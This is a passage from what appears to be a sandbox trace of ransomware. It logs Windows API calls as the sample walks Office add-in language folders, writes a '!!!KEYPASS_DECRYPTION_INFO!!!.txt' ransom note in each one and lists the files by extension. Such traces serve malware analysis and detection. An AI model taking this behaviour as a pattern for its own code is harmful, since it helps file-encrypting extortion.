lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0252.861] CloseHandle (hObject=0x884) returned 1 [0252.861] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x39874b8 [0252.862] FindNextFileW (in: hFindFile=0x39874b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.863] FindNextFileW (in: hFindFile=0x39874b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.863] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0252.863] FindNextFileW (in: hFindFile=0x39874b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.863] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\LocalizedStrings.xml") returned=".xml" [0252.863] FindNextFileW (in: hFindFile=0x39874b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.863] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\Microsoft.AnalysisServices.Common.resources.dll") returned=".dll" [0252.863] FindNextFileW (in: hFindFile=0x39874b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.863] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\Microsoft.AnalysisServices.Common.Wizard.resources.dll") returned=".dll" [0252.863] FindNextFileW (in: hFindFile=0x39874b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.863] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\Microsoft.AnalysisServices.Excel.BackEnd.resources.dll") returned=".dll" [0252.863] FindNextFileW (in: hFindFile=0x39874b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.863] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll") returned=".dll" [0252.863] FindNextFileW (in: hFindFile=0x39874b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.863] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\Microsoft.AnalysisServices.Layout.resources.dll") returned=".dll" [0252.863] FindNextFileW (in: hFindFile=0x39874b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.864] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\Microsoft.AnalysisServices.XLHost.Modeler.resources.dll") returned=".dll" [0252.864] FindNextFileW (in: hFindFile=0x39874b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.864] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\Microsoft.DataWarehouse.Interfaces.resources.dll") returned=".dll" [0252.864] FindNextFileW (in: hFindFile=0x39874b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.864] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\Microsoft.DataWarehouse.resources.dll") returned=".dll" [0252.864] FindNextFileW (in: hFindFile=0x39874b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.864] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\Microsoft.Excel.AnalysisServices.AdomdClientUI.resources.dll") returned=".dll" [0252.864] FindNextFileW (in: hFindFile=0x39874b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.864] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\Microsoft.Excel.DataWarehouse.resources.dll") returned=".dll" [0252.864] FindNextFileW (in: hFindFile=0x39874b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.864] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\Microsoft.Excel.MDXQueryGenerator.resources.dll") returned=".dll" [0252.864] FindNextFileW (in: hFindFile=0x39874b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.864] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\Microsoft.Excel.ReportingServices.DataExtensions.resources.dll") returned=".dll" [0252.864] FindNextFileW (in: hFindFile=0x39874b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.864] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\Microsoft.Excel.ReportingServices.QueryDesigners.Extensions.resources.dll") returned=".dll" [0252.864] FindNextFileW (in: hFindFile=0x39874b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.864] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\Microsoft.Excel.ReportingServices.QueryDesigners.resources.dll") returned=".dll" [0252.864] FindNextFileW (in: hFindFile=0x39874b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.864] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll") returned=".dll" [0252.864] FindNextFileW (in: hFindFile=0x39874b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.864] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\Microsoft.ReportingServices.Diagnostics.resources.dll") returned=".dll" [0252.864] FindNextFileW (in: hFindFile=0x39874b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.864] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\Microsoft.ReportingServices.ReportDesign.Common.resources.dll") returned=".dll" [0252.864] FindNextFileW (in: hFindFile=0x39874b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.864] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\Microsoft.ReportingServices.ReportDesign.Forms.resources.dll") returned=".dll" [0252.865] FindNextFileW (in: hFindFile=0x39874b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.865] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\Microsoft.ReportingServices.RsClient.resources.dll") returned=".dll" [0252.865] FindNextFileW (in: hFindFile=0x39874b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.865] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\Microsoft.SqlServer.Types.resources.dll") returned=".dll" [0252.865] FindNextFileW (in: hFindFile=0x39874b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.865] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\ReportingServicesNativeClient.resources.dll") returned=".dll" [0252.865] FindNextFileW (in: hFindFile=0x39874b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0252.865] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0252.865] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0252.865] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39883a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0252.865] GetLastError () returned 0x3f0 [0252.865] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\en\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\en\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0252.865] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\en\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0252.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\en\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\en\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x888 [0252.895] GetFileType (hFile=0x888) returned 0x1 [0252.896] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0252.896] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0252.896] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0252.896] WriteFile (in: hFile=0x888, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0252.906] WriteFile (in: hFile=0x888, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0252.906] CloseHandle (hObject=0x888) returned 1 [0252.906] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\en\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x3987a78 [0252.907] FindNextFileW (in: hFindFile=0x3987a78, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.907] FindNextFileW (in: hFindFile=0x3987a78, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.907] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\en\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0252.907] FindNextFileW (in: hFindFile=0x3987a78, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.907] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\en\\LocalizedStrings.xml") returned=".xml" [0252.907] FindNextFileW (in: hFindFile=0x3987a78, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0252.907] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0252.907] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0252.907] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39883a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0252.907] GetLastError () returned 0x3f0 [0252.907] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0252.907] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0252.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\es\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x880 [0252.967] GetFileType (hFile=0x880) returned 0x1 [0252.967] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0252.967] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0252.967] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0252.969] WriteFile (in: hFile=0x880, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0252.970] WriteFile (in: hFile=0x880, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0252.970] CloseHandle (hObject=0x880) returned 1 [0252.970] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x3987838 [0252.971] FindNextFileW (in: hFindFile=0x3987838, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.997] FindNextFileW (in: hFindFile=0x3987838, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.997] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0252.998] FindNextFileW (in: hFindFile=0x3987838, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.998] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\LocalizedStrings.xml") returned=".xml" [0252.998] FindNextFileW (in: hFindFile=0x3987838, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.998] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\Microsoft.AnalysisServices.Common.resources.dll") returned=".dll" [0252.998] FindNextFileW (in: hFindFile=0x3987838, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.998] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\Microsoft.AnalysisServices.Common.Wizard.resources.dll") returned=".dll" [0252.998] FindNextFileW (in: hFindFile=0x3987838, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.998] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\Microsoft.AnalysisServices.Excel.BackEnd.resources.dll") returned=".dll" [0252.998] FindNextFileW (in: hFindFile=0x3987838, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.998] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll") returned=".dll" [0252.998] FindNextFileW (in: hFindFile=0x3987838, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.998] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\Microsoft.AnalysisServices.Layout.resources.dll") returned=".dll" [0252.998] FindNextFileW (in: hFindFile=0x3987838, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.998] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\Microsoft.AnalysisServices.XLHost.Modeler.resources.dll") returned=".dll" [0252.998] FindNextFileW (in: hFindFile=0x3987838, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.998] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\Microsoft.DataWarehouse.Interfaces.resources.dll") returned=".dll" [0252.998] FindNextFileW (in: hFindFile=0x3987838, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.998] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\Microsoft.DataWarehouse.resources.dll") returned=".dll" [0252.998] FindNextFileW (in: hFindFile=0x3987838, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.998] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\Microsoft.Excel.AnalysisServices.AdomdClientUI.resources.dll") returned=".dll" [0252.998] FindNextFileW (in: hFindFile=0x3987838, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.998] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\Microsoft.Excel.DataWarehouse.resources.dll") returned=".dll" [0252.998] FindNextFileW (in: hFindFile=0x3987838, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.998] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\Microsoft.Excel.MDXQueryGenerator.resources.dll") returned=".dll" [0252.999] FindNextFileW (in: hFindFile=0x3987838, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.999] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\Microsoft.Excel.ReportingServices.DataExtensions.resources.dll") returned=".dll" [0252.999] FindNextFileW (in: hFindFile=0x3987838, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.999] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\Microsoft.Excel.ReportingServices.QueryDesigners.Extensions.resources.dll") returned=".dll" [0252.999] FindNextFileW (in: hFindFile=0x3987838, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.999] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\Microsoft.Excel.ReportingServices.QueryDesigners.resources.dll") returned=".dll" [0252.999] FindNextFileW (in: hFindFile=0x3987838, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.999] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll") returned=".dll" [0252.999] FindNextFileW (in: hFindFile=0x3987838, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.999] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\Microsoft.ReportingServices.Diagnostics.resources.dll") returned=".dll" [0252.999] FindNextFileW (in: hFindFile=0x3987838, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.999] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\Microsoft.ReportingServices.ReportDesign.Common.resources.dll") returned=".dll" [0252.999] FindNextFileW (in: hFindFile=0x3987838, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.999] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\Microsoft.ReportingServices.ReportDesign.Forms.resources.dll") returned=".dll" [0252.999] FindNextFileW (in: hFindFile=0x3987838, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.999] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\Microsoft.ReportingServices.RsClient.resources.dll") returned=".dll" [0252.999] FindNextFileW (in: hFindFile=0x3987838, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.999] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\Microsoft.SqlServer.Types.resources.dll") returned=".dll" [0252.999] FindNextFileW (in: hFindFile=0x3987838, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.999] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\ReportingServicesNativeClient.resources.dll") returned=".dll" [0252.999] FindNextFileW (in: hFindFile=0x3987838, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0252.999] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0252.999] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0252.999] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39883a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0253.000] GetLastError () returned 0x3f0 [0253.000] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0253.000] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0253.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\et\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x88c [0253.037] GetFileType (hFile=0x88c) returned 0x1 [0253.037] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0253.037] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0253.037] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0253.037] WriteFile (in: hFile=0x88c, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0253.038] WriteFile (in: hFile=0x88c, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0253.038] CloseHandle (hObject=0x88c) returned 1 [0253.039] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x39876f8 [0253.039] FindNextFileW (in: hFindFile=0x39876f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.053] FindNextFileW (in: hFindFile=0x39876f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.053] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0253.053] FindNextFileW (in: hFindFile=0x39876f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.053] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\LocalizedStrings.xml") returned=".xml" [0253.053] FindNextFileW (in: hFindFile=0x39876f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.053] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\Microsoft.AnalysisServices.Common.resources.dll") returned=".dll" [0253.053] FindNextFileW (in: hFindFile=0x39876f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.053] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\Microsoft.AnalysisServices.Common.Wizard.resources.dll") returned=".dll" [0253.053] FindNextFileW (in: hFindFile=0x39876f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.053] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\Microsoft.AnalysisServices.Excel.BackEnd.resources.dll") returned=".dll" [0253.053] FindNextFileW (in: hFindFile=0x39876f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.053] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll") returned=".dll" [0253.053] FindNextFileW (in: hFindFile=0x39876f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.053] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft 